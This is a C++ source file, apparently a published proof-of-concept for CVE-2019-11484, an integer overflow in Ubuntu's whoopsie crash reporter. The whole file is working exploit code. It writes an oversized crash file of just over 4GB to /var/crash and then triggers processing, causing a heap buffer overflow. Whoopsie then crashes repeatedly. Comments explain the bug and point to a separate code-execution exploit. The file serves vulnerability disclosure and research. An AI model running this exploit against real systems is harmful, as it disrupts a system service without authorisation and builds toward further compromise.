#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <string>
#include <iostream>
#include "utils.hpp"

// Proof-of-concept for CVE-2019-11484.
// "Integer overflow in bson_ensure_space (bson.c:613)"
// Bug report: https://bugs.launchpad.net/ubuntu/+source/whoopsie/+bug/1830865
//
// The PoC works by creating a file named `/var/crash/killwhoopsie.crash`,
// just over 4GB in size. It then creates a file named
// `/var/crash/killwhoopsie.upload`, which prompts whoopsie to start
// processing the .crash file. Be aware that whoopsie will keep restarting
// and crash repeatedly until you remove the files from /var/crash.
//
// This is the original PoC which I included with the bug-report. It only
// crashes whoopsie. For a more sophisticated exploit of the same bug
// (achieving code execution), see whoopsie_exploit.cpp.

int main() {
  try {
    AutoCloseFD crash_fd(
      create_file(
        AT_FDCWD, "/var/crash/killwhoopsie.crash", S_IRWXU | S_IRWXG | S_IRWXO
      )
    );

    // Create a value that requires just under 2GB of storage in
    // the bson struct.
    const char *name1 = "Tags";
    write_or_throw(crash_fd.get(), name1, strlen(name1));
    write_or_throw(crash_fd.get(), ": ", 2);
    write_repeated_buffer(crash_fd.get(), "kevwozere", 9, 0x7FFFFF00);
    write_or_throw(crash_fd.get(), "\n", 1);

    // Add another value which triggers an integer overflow here:
    // https://bazaar.launchpad.net/~daisy-pluckers/whoopsie/trunk/view/698/lib/bson/bson.c#L613
    // Due to this integer overflow, bson_ensure_space fails to detect that
    // more memory needs to be allocated, which leads to a heap buffer
    // overflow.
    const char *name2 = "Date";
    write_or_throw(crash_fd.get(), name2, strlen(name2));
    write_or_throw(crash_fd.get(), ": ", 2);
    write_repeated_buffer(crash_fd.get(), "kevwozere", 9, 0x10000);
    write_or_throw(crash_fd.get(), "\n", 1);

    // Add a value that will cause `bson_validate_string` to fail,
    // so that whoopsie won't attempt to upload the bogus report.
    const char *name3 = "UnreportableReason";
    write_or_throw(crash_fd.get(), name3, strlen(name3));
    write_or_throw(crash_fd.get(), ": \377\n", 4);

    // whoopsie doesn't start reading the `.crash` file until we create the
    // corresponding `.upload` file.
    AutoCloseFD upload_fd(
      create_file(
        AT_FDCWD, "/var/crash/killwhoopsie.upload", S_IRWXU | S_IRWXG | S_IRWXO
      )
    );
  } catch (ErrorWithErrno& e) {
    int err = e.getErrno();
    std::cerr << e.what() << "\n" << strerror(err) << "\n";
    exit(EXIT_FAILURE);
  } catch (std::exception& e) {
    std::cerr << e.what() << "\n";
    exit(EXIT_FAILURE);
  }

  exit(EXIT_SUCCESS);
}
